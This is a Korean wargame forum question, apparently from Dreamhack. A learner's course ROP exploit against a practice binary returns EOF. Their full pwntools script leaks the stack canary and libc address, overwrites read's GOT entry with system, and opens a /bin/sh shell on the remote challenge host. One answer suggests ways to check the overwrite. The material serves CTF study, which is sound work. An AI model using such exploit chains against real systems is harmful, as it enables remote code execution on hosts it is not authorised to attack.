수업에서 제시된 코드가 안됩니다.

수업에서 제시된 코드에 libc 웹사이트에서 확인한 오프셋으로 수정한 후 코드를 돌렸는데 EOF가 떠서 당황스러워요. 현재 로컬 환경에서 gdb을 이용해보니까 rax 레지스터에 0x00값이 담겨 read가 안되는 상황입니다. 때문에 원격으로 문제 풀이를 진행 중인데, overwrite가 되었는지 확인할 수도 없어서 난처합니다ㅜㅜ

1 from pwn import *
  2 def slog(name, addr):
  3     return success(": ".join([name, hex(addr)]))
  4 p = remote("host1.dreamhack.games", 19709)
  5 e = ELF("./rop")
  6 #libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
  7 # [1] Leak canary
  8 buf = b"A"*0x39
  9 p.sendafter("Buf: ", buf)
 10 p.recvuntil(buf)
 11 cnry = u64(b"\x00"+p.recvn(7))
 12 slog("canary", cnry)
 13 # [2] Exploit
 14 read_plt = e.plt['read']
 15 read_got = e.got['read']
 16 puts_plt = e.plt['puts']
 17 pop_rdi = 0x00000000004007f3
 18 pop_rsi_r15 = 0x00000000004007f1
 19 payload = b"A"*0x38 + p64(cnry) + b"B"*0x8
 20 # puts(read_got)
 21 payload += p64(pop_rdi) + p64(read_got)
 22 payload += p64(puts_plt)
 23 # read(0, read_got, 0x10)
 24 payload += p64(pop_rdi) + p64(0)
 25 payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
 26 payload += p64(read_plt)
 27 # read("/bin/sh") == system("/bin/sh")
 28 payload += p64(pop_rdi)
 29 payload += p64(read_got+0x8)
 30 payload += p64(read_plt)
 31 p.sendafter("Buf: ", payload)
 32 read = u64(p.recvn(6)+b"\x00"*2)
 33 lb = read - 0x110140
 34 system = lb + 0x4f550
 35 slog("read", read)
 36 slog("libc base", lb)
 37 slog("system", system)
 38 p.send(p64(system)+b"/bin/sh\x00")
 39 p.interactive()
#pwnable
작성자 정보
답변 1
avatar
bincat
Closed Beta Tester

puts 같은 함수를 실행시키도록해서 / 혹은 바이너리에 존재하는 출력 루틴을 타겟으로 해서 overwrite가 잘 되었는지 확인해 볼 수 있습니다!

2022.04.01. 03:04
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기